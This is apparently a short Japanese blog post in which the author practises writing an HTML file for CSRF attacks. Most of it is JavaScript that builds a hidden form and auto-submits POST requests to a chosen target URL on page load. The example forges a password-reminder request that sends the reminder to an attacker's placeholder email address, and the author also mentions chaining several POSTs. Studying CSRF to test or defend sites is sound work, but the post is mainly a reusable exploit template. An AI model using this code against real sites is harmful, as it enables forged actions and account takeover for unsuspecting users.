CSRF 攻撃用の html ファイルを作ってみる修行
もう少しきれいに書けるはずだが、とりあえず用は足りたので。
<input id="baseURL" name="baseurl" type="text" value="" />
な要素を作っておいて、攻撃先の URL を入れておく。あと
<div id="g"><br/></div>
な場所を用意しとく。
で、次の JavaScript を用意。
var g = document.getElementById('g'); var f = new_attack_form(); function new_attack_form() { g.removeChild(g.firstChild); var z = document.createElement('form'); g.appendChild(z); z.append = function(name, value) { var v = document.createElement('input'); v.setAttribute('type', 'text'); v.setAttribute('name', name); v.setAttribute('value', value); this.appendChild(v); } z.post = function(path) { var url = document.getElementById('baseURL').value + path; this.action = url; this.method = 'post'; this.target = 'victim'; this.submit(); } return z; }
あとは必要に応じて new_attack_form() を利用。たとえば、こんな感じで。
function exec_reminder() { f.append('mail', 'attacker@xxx.yyy.zzz'); f.append('q', 'b'); f.append('a', '〆鯖'); f.append('submit', '送信'); f.post('reminder/complete.cgi'); }
これを body の onload で呼んでみたり。連続 POST とかもこれで。
使っていたものを加工してここに書いたので、すでに動かないものになっている可能性もあったりなかったり。